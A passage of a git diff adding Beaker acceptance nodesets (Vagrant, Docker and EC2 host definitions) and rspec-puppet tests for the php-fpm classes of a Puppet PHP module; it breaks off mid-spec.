b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/archlinux-2-x64.yml @@ -0,0 +1,13 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + archlinux-2-x64: + roles: + - master + platform: archlinux-2-x64 + box: archlinux/archlinux + hypervisor: vagrant +CONFIG: + type: foss diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/centos-511-x64.yml b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/centos-511-x64.yml new file mode 100644 index 000000000..089d646a5 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/centos-511-x64.yml @@ -0,0 +1,15 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + centos-511-x64: + roles: + - master + platform: el-5-x86_64 + box: puppetlabs/centos-5.11-64-nocm + hypervisor: vagrant +CONFIG: + type: foss +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/centos-6-x64.yml b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/centos-6-x64.yml new file mode 100644 index 000000000..16abc8f1c --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/centos-6-x64.yml @@ -0,0 +1,15 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + centos-6-x64: + roles: + - master + platform: el-6-x86_64 + box: centos/6 + hypervisor: vagrant +CONFIG: + type: aio +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/centos-66-x64-pe.yml b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/centos-66-x64-pe.yml new file mode 100644 index 000000000..1e7aea6d4 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/centos-66-x64-pe.yml @@ -0,0 +1,17 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + centos-66-x64: + roles: + - master + - database + - dashboard + platform: el-6-x86_64 + box: puppetlabs/centos-6.6-64-puppet-enterprise + hypervisor: vagrant +CONFIG: + type: pe +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/centos-66-x64.yml b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/centos-66-x64.yml new file mode 100644 index 000000000..42455e7ae --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/centos-66-x64.yml @@ -0,0 +1,15 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + centos-66-x64: + roles: + - master + platform: el-6-x86_64 + box: puppetlabs/centos-6.6-64-nocm + hypervisor: vagrant +CONFIG: + type: foss +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/centos-7-x64.yml b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/centos-7-x64.yml new file mode 100644 index 000000000..e05a3ae16 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/centos-7-x64.yml @@ -0,0 +1,15 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + centos-7-x64: + roles: + - master + platform: el-7-x86_64 + box: centos/7 + hypervisor: vagrant +CONFIG: + type: aio +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/centos-72-x64.yml b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/centos-72-x64.yml new file mode 100644 index 000000000..85af89d3f --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/centos-72-x64.yml @@ -0,0 +1,15 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + centos-72-x64: + roles: + - master + platform: el-7-x86_64 + box: puppetlabs/centos-7.2-64-nocm + hypervisor: vagrant +CONFIG: + type: foss +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/debian-78-x64.yml b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/debian-78-x64.yml new file mode 100644 index 000000000..6ef6de8c8 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/debian-78-x64.yml @@ -0,0 +1,15 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + debian-78-x64: + roles: + - master + platform: debian-7-amd64 + box: puppetlabs/debian-7.8-64-nocm + hypervisor: vagrant +CONFIG: + type: foss +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/debian-82-x64.yml b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/debian-82-x64.yml new file mode 100644 index 000000000..9897a8fc7 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/debian-82-x64.yml @@ -0,0 +1,15 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + debian-82-x64: + roles: + - master + platform: debian-8-amd64 + box: puppetlabs/debian-8.2-64-nocm + hypervisor: vagrant +CONFIG: + type: foss +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/centos-5.yml b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/centos-5.yml new file mode 100644 index 000000000..c17bc3d00 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/centos-5.yml @@ -0,0 +1,19 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + centos-5-x64: + platform: el-5-x86_64 + hypervisor: docker + image: centos:5 + docker_preserve_image: true + docker_cmd: '["/sbin/init"]' + docker_image_commands: + - 'yum install -y crontabs initscripts iproute openssl sysvinit-tools tar wget which' + - 'sed -i -e "/mingetty/d" /etc/inittab' +CONFIG: + trace_limit: 200 + masterless: true +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/centos-6.yml b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/centos-6.yml new file mode 100644 index 000000000..d93f884cb --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/centos-6.yml @@ -0,0 +1,20 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + centos-6-x64: + platform: el-6-x86_64 + hypervisor: docker + image: centos:6 + docker_preserve_image: true + docker_cmd: '["/sbin/init"]' + docker_image_commands: + - 'rm -rf /var/run/network/*' + - 'yum install -y crontabs initscripts iproute openssl sysvinit-tools tar wget which' + - 'rm /etc/init/tty.conf' +CONFIG: + trace_limit: 200 + masterless: true +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/centos-7.yml b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/centos-7.yml new file mode 100644 index 000000000..41e924b50 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/centos-7.yml @@ -0,0 +1,19 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + centos-7-x64: + platform: el-7-x86_64 + hypervisor: docker + image: centos:7 + docker_preserve_image: true + docker_cmd: '["/usr/sbin/init"]' + docker_image_commands: + - 'yum install -y crontabs initscripts iproute openssl sysvinit-tools tar wget which ss' + - 'systemctl mask getty@tty1.service' +CONFIG: + trace_limit: 200 + masterless: true +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/debian-7.yml b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/debian-7.yml new file mode 100644 index 000000000..41b284d39 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/debian-7.yml @@ -0,0 +1,18 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + debian-7-x64: + platform: debian-7-amd64 + hypervisor: docker + image: debian:7 + docker_preserve_image: true + docker_cmd: '["/sbin/init"]' + docker_image_commands: + - 'apt-get update && apt-get install -y cron locales-all net-tools wget' +CONFIG: + trace_limit: 200 + masterless: true +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/debian-8.yml b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/debian-8.yml new file mode 100644 index 000000000..a630b7efd --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/debian-8.yml @@ -0,0 +1,20 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + debian-8-x64: + platform: debian-8-amd64 + hypervisor: docker + image: debian:8 + docker_preserve_image: true + docker_cmd: '["/sbin/init"]' + docker_image_commands: + - 'apt-get update && apt-get install -y cron locales-all net-tools wget' + - 'rm -f /usr/sbin/policy-rc.d' + - 'systemctl mask getty@tty1.service getty-static.service' +CONFIG: + trace_limit: 200 + masterless: true +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/debian-9.yml b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/debian-9.yml new file mode 100644 index 000000000..dfc8e9c09 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/debian-9.yml @@ -0,0 +1,20 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/theforeman/foreman-installer-modulesync +HOSTS: + debian-9-x64: + platform: debian-9-amd64 + hypervisor: docker + image: debian:9 + docker_preserve_image: true + docker_cmd: '["/sbin/init"]' + docker_image_commands: + - 'apt-get update && apt-get install -y cron locales-all net-tools wget systemd-sysv' + - 'rm -f /usr/sbin/policy-rc.d' + - 'systemctl mask getty@tty1.service getty-static.service' +CONFIG: + trace_limit: 200 + masterless: true +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/ubuntu-12.04.yml b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/ubuntu-12.04.yml new file mode 100644 index 000000000..ab77cda48 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/ubuntu-12.04.yml @@ -0,0 +1,19 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + ubuntu-1204-x64: + platform: ubuntu-12.04-amd64 + hypervisor: docker + image: ubuntu:12.04 + docker_preserve_image: true + docker_cmd: '["/sbin/init"]' + docker_image_commands: + - 'apt-get install -y net-tools wget' + - 'locale-gen en_US.UTF-8' +CONFIG: + trace_limit: 200 + masterless: true +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/ubuntu-14.04.yml b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/ubuntu-14.04.yml new file mode 100644 index 000000000..ae4530444 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/ubuntu-14.04.yml @@ -0,0 +1,21 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + ubuntu-1404-x64: + platform: ubuntu-14.04-amd64 + hypervisor: docker + image: ubuntu:14.04 + docker_preserve_image: true + docker_cmd: '["/sbin/init"]' + docker_image_commands: + - 'rm /usr/sbin/policy-rc.d' + - 'rm /sbin/initctl; dpkg-divert --rename --remove /sbin/initctl' + - 'apt-get install -y net-tools wget apt-transport-https' + - 'locale-gen en_US.UTF-8' +CONFIG: + trace_limit: 200 + masterless: true +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/ubuntu-16.04.yml b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/ubuntu-16.04.yml new file mode 100644 index 000000000..2d173c5b9 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/docker/ubuntu-16.04.yml @@ -0,0 +1,19 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + ubuntu-1604-x64: + platform: ubuntu-16.04-amd64 + hypervisor: docker + image: ubuntu:16.04 + docker_preserve_image: true + docker_cmd: '["/sbin/init"]' + docker_image_commands: + - 'apt-get install -y net-tools wget locales apt-transport-https' + - 'locale-gen en_US.UTF-8' +CONFIG: + trace_limit: 200 + masterless: true +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ec2/amazonlinux-2016091.yml b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ec2/amazonlinux-2016091.yml new file mode 100644 index 000000000..19dd43ed7 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ec2/amazonlinux-2016091.yml @@ -0,0 +1,31 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +# +# Additional ~/.fog config file with AWS EC2 credentials +# required. +# +# see: https://github.com/puppetlabs/beaker/blob/master/docs/how_to/hypervisors/ec2.md +# +# Amazon Linux is not a RHEL clone. +# +HOSTS: + amazonlinux-2016091-x64: + roles: + - master + platform: centos-6-x86_64 + hypervisor: ec2 + # refers to image_tempaltes.yaml AMI[vmname] entry: + vmname: amazonlinux-2016091-eu-central-1 + # refers to image_tempaltes.yaml entry inside AMI[vmname][:image]: + snapshot: aio + # t2.micro is free tier eligible (https://aws.amazon.com/en/free/): + amisize: t2.micro + # required so that beaker sanitizes sshd_config and root authorized_keys: + user: ec2-user +CONFIG: + type: aio + :ec2_yaml: spec/acceptance/nodesets/ec2/image_templates.yaml +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ec2/image_templates.yaml b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ec2/image_templates.yaml new file mode 100644 index 000000000..e50593ee0 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ec2/image_templates.yaml @@ -0,0 +1,34 @@ +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +# +# see also: https://github.com/puppetlabs/beaker/blob/master/docs/how_to/hypervisors/ec2.md +# +# Hint: image IDs (ami-*) for the same image are different per location. +# +AMI: + # Amazon Linux AMI 2016.09.1 (HVM), SSD Volume Type + amazonlinux-2016091-eu-central-1: + :image: + :aio: ami-af0fc0c0 + :region: eu-central-1 + # Red Hat Enterprise Linux 7.3 (HVM), SSD Volume Type + rhel-73-eu-central-1: + :image: + :aio: ami-e4c63e8b + :region: eu-central-1 + # SUSE Linux Enterprise Server 12 SP2 (HVM), SSD Volume Type + sles-12sp2-eu-central-1: + :image: + :aio: ami-c425e4ab + :region: eu-central-1 + # Ubuntu Server 16.04 LTS (HVM), SSD Volume Type + ubuntu-1604-eu-central-1: + :image: + :aio: ami-fe408091 + :region: eu-central-1 + # Microsoft Windows Server 2016 Base + windows-2016-base-eu-central-1: + :image: + :aio: ami-88ec20e7 + :region: eu-central-1 diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ec2/rhel-73-x64.yml b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ec2/rhel-73-x64.yml new file mode 100644 index 000000000..7fac8236a --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ec2/rhel-73-x64.yml @@ -0,0 +1,29 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +# +# Additional ~/.fog config file with AWS EC2 credentials +# required. +# +# see: https://github.com/puppetlabs/beaker/blob/master/docs/how_to/hypervisors/ec2.md +# +HOSTS: + rhel-73-x64: + roles: + - master + platform: el-7-x86_64 + hypervisor: ec2 + # refers to image_tempaltes.yaml AMI[vmname] entry: + vmname: rhel-73-eu-central-1 + # refers to image_tempaltes.yaml entry inside AMI[vmname][:image]: + snapshot: aio + # t2.micro is free tier eligible (https://aws.amazon.com/en/free/): + amisize: t2.micro + # required so that beaker sanitizes sshd_config and root authorized_keys: + user: ec2-user +CONFIG: + type: aio + :ec2_yaml: spec/acceptance/nodesets/ec2/image_templates.yaml +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ec2/sles-12sp2-x64.yml b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ec2/sles-12sp2-x64.yml new file mode 100644 index 000000000..8542154df --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ec2/sles-12sp2-x64.yml @@ -0,0 +1,29 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +# +# Additional ~/.fog config file with AWS EC2 credentials +# required. +# +# see: https://github.com/puppetlabs/beaker/blob/master/docs/how_to/hypervisors/ec2.md +# +HOSTS: + sles-12sp2-x64: + roles: + - master + platform: sles-12-x86_64 + hypervisor: ec2 + # refers to image_tempaltes.yaml AMI[vmname] entry: + vmname: sles-12sp2-eu-central-1 + # refers to image_tempaltes.yaml entry inside AMI[vmname][:image]: + snapshot: aio + # t2.micro is free tier eligible (https://aws.amazon.com/en/free/): + amisize: t2.micro + # required so that beaker sanitizes sshd_config and root authorized_keys: + user: ec2-user +CONFIG: + type: aio + :ec2_yaml: spec/acceptance/nodesets/ec2/image_templates.yaml +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ec2/ubuntu-1604-x64.yml b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ec2/ubuntu-1604-x64.yml new file mode 100644 index 000000000..9cf59d59e --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ec2/ubuntu-1604-x64.yml @@ -0,0 +1,29 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +# +# Additional ~/.fog config file with AWS EC2 credentials +# required. +# +# see: https://github.com/puppetlabs/beaker/blob/master/docs/how_to/hypervisors/ec2.md +# +HOSTS: + ubuntu-1604-x64: + roles: + - master + platform: ubuntu-16.04-amd64 + hypervisor: ec2 + # refers to image_tempaltes.yaml AMI[vmname] entry: + vmname: ubuntu-1604-eu-central-1 + # refers to image_tempaltes.yaml entry inside AMI[vmname][:image]: + snapshot: aio + # t2.micro is free tier eligible (https://aws.amazon.com/en/free/): + amisize: t2.micro + # required so that beaker sanitizes sshd_config and root authorized_keys: + user: ubuntu +CONFIG: + type: aio + :ec2_yaml: spec/acceptance/nodesets/ec2/image_templates.yaml +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ec2/windows-2016-base-x64.yml b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ec2/windows-2016-base-x64.yml new file mode 100644 index 000000000..0932e29c8 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ec2/windows-2016-base-x64.yml @@ -0,0 +1,29 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +# +# Additional ~/.fog config file with AWS EC2 credentials +# required. +# +# see: https://github.com/puppetlabs/beaker/blob/master/docs/how_to/hypervisors/ec2.md +# +HOSTS: + windows-2016-base-x64: + roles: + - master + platform: windows-2016-64 + hypervisor: ec2 + # refers to image_tempaltes.yaml AMI[vmname] entry: + vmname: windows-2016-base-eu-central-1 + # refers to image_tempaltes.yaml entry inside AMI[vmname][:image]: + snapshot: aio + # t2.micro is free tier eligible (https://aws.amazon.com/en/free/): + amisize: t2.micro + # required so that beaker sanitizes sshd_config and root authorized_keys: + user: ec2-user +CONFIG: + type: aio + :ec2_yaml: spec/acceptance/nodesets/ec2/image_templates.yaml +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/fedora-24-x64.yml b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/fedora-24-x64.yml new file mode 100644 index 000000000..820b62d26 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/fedora-24-x64.yml @@ -0,0 +1,15 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + fedora-24-x64: + roles: + - master + platform: fedora-24-x86_64 + box: fedora/24-cloud-base + hypervisor: vagrant +CONFIG: + type: aio +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/fedora-25-x64.yml b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/fedora-25-x64.yml new file mode 100644 index 000000000..54dd33054 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/fedora-25-x64.yml @@ -0,0 +1,16 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +# +HOSTS: + fedora-25-x64: + roles: + - master + platform: fedora-25-x86_64 + box: fedora/25-cloud-base + hypervisor: vagrant +CONFIG: + type: aio +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/fedora-26-x64.yml b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/fedora-26-x64.yml new file mode 100644 index 000000000..598822b0e --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/fedora-26-x64.yml @@ -0,0 +1,16 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +# +HOSTS: + fedora-26-x64: + roles: + - master + platform: fedora-26-x86_64 + box: fedora/26-cloud-base + hypervisor: vagrant +CONFIG: + type: aio +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/fedora-27-x64.yml b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/fedora-27-x64.yml new file mode 100644 index 000000000..c2b61ebbf --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/fedora-27-x64.yml @@ -0,0 +1,18 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +# +# platform is fedora 26 because there is no puppet-agent +# for fedora 27 as of 2017-11-17 +HOSTS: + fedora-27-x64: + roles: + - master + platform: fedora-26-x86_64 + box: fedora/27-cloud-base + hypervisor: vagrant +CONFIG: + type: aio +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ubuntu-server-1204-x64.yml b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ubuntu-server-1204-x64.yml new file mode 100644 index 000000000..29102c565 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ubuntu-server-1204-x64.yml @@ -0,0 +1,15 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + ubuntu-server-1204-x64: + roles: + - master + platform: ubuntu-12.04-amd64 + box: puppetlabs/ubuntu-12.04-64-nocm + hypervisor: vagrant +CONFIG: + type: foss +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ubuntu-server-1404-x64.yml b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ubuntu-server-1404-x64.yml new file mode 100644 index 000000000..054e65880 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ubuntu-server-1404-x64.yml @@ -0,0 +1,15 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + ubuntu-server-1404-x64: + roles: + - master + platform: ubuntu-14.04-amd64 + box: puppetlabs/ubuntu-14.04-64-nocm + hypervisor: vagrant +CONFIG: + type: foss +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ubuntu-server-1604-x64.yml b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ubuntu-server-1604-x64.yml new file mode 100644 index 000000000..bc85e0e84 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/acceptance/nodesets/ubuntu-server-1604-x64.yml @@ -0,0 +1,15 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + ubuntu-server-1604-x64: + roles: + - master + platform: ubuntu-16.04-amd64 + box: puppetlabs/ubuntu-16.04-64-nocm + hypervisor: vagrant +CONFIG: + type: foss +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/web_frameworks/php/spec/acceptance/php_spec.rb b/modules/utilities/unix/web_frameworks/php/spec/acceptance/php_spec.rb new file mode 100644 index 000000000..f7e3263b7 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/acceptance/php_spec.rb @@ -0,0 +1,25 @@ +require 'spec_helper_acceptance' + +describe 'php' do + it 'works with defaults' do + pp = 'include php' + # Run it twice and test for idempotency + apply_manifest(pp, catch_failures: true) + apply_manifest(pp, catch_changes: true) + end + + case default[:platform] + when %r{16.04} + describe package('php7.0-fpm') do + it { is_expected.to be_installed } + end + when %r{14.04} + describe package('php5-fpm') do + it { is_expected.to be_installed } + end + when %(7) + describe package('php-fpm') do + it { is_expected.to be_installed } + end + end +end diff --git a/modules/utilities/unix/web_frameworks/php/spec/classes/coverage_spec.rb b/modules/utilities/unix/web_frameworks/php/spec/classes/coverage_spec.rb new file mode 100644 index 000000000..de446548b --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/classes/coverage_spec.rb @@ -0,0 +1,4 @@ +require 'rspec-puppet' + +at_exit { RSpec::Puppet::Coverage.report! } +# vim: syntax=ruby diff --git a/modules/utilities/unix/web_frameworks/php/spec/classes/php_fpm_config_spec.rb b/modules/utilities/unix/web_frameworks/php/spec/classes/php_fpm_config_spec.rb new file mode 100644 index 000000000..bf78b3ce7 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/classes/php_fpm_config_spec.rb @@ -0,0 +1,40 @@ +require 'spec_helper' + +describe 'php::fpm::config' do + on_supported_os.each do |os, facts| + context "on #{os}" do + let :facts do + facts + end + + describe 'creates config file' do + let(:params) do + { + inifile: '/etc/php5/conf.d/unique-name.ini', + settings: { + 'apc.enabled' => 1 + } + } + end + + it do + is_expected.to contain_class('php::fpm::config').with( + inifile: '/etc/php5/conf.d/unique-name.ini', + settings: { + 'apc.enabled' => 1 + } + ) + end + + it do + is_expected.to contain_php__config('fpm').with( + file: '/etc/php5/conf.d/unique-name.ini', + config: { + 'apc.enabled' => 1 + } + ) + end + end + end + end +end diff --git a/modules/utilities/unix/web_frameworks/php/spec/classes/php_fpm_service_spec.rb b/modules/utilities/unix/web_frameworks/php/spec/classes/php_fpm_service_spec.rb new file mode 100644 index 000000000..6056f409c --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/classes/php_fpm_service_spec.rb @@ -0,0 +1,34 @@ +require 'spec_helper' + +describe 'php::fpm::service', type: :class do + on_supported_os.each do |os, facts| + context "on #{os}" do + let :facts do + facts + end + + let(:pre_condition) { 'class {"php": fpm => true}' } + + describe 'when called with no parameters' do + # rubocop:disable RSpec/RepeatedExample + case facts[:osfamily] + when 'Debian' + case facts[:operatingsystemrelease] + when '12.04' + it { is_expected.to contain_service('php5-fpm').with_ensure('running').without_restart } + when '14.04' + it { is_expected.to contain_service('php5-fpm').with_restart('service php5-fpm reload').with_ensure('running') } + when '16.04' + it { is_expected.to contain_service('php7.0-fpm').with_ensure('running') } + end + when 'Suse' + it { is_expected.to contain_service('php-fpm').with_ensure('running') } + when 'FreeBSD' + it { is_expected.to contain_service('php-fpm').with_ensure('running') } + else + it { is_expected.to contain_service('php-fpm').with_ensure('running') } + end + end + end + end +end diff --git a/modules/utilities/unix/web_frameworks/php/spec/classes/php_fpm_spec.rb b/modules/utilities/unix/web_frameworks/php/spec/classes/php_fpm_spec.rb new file mode 100644 index 000000000..da3f02426 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/classes/php_fpm_spec.rb @@ -0,0 +1,46 @@ +require 'spec_helper' + +describe 'php::fpm', type: :class do + on_supported_os.each do |os, facts| + context "on #{os}" do + let :facts do + facts + end + let(:pre_condition) { 'class {"php": fpm => false}' } + + describe 'when called with no parameters' do + # rubocop:disable RSpec/RepeatedExample + case facts[:osfamily] + when 'Debian' + case facts[:operatingsystemrelease] + when '14.04' + it { is_expected.to 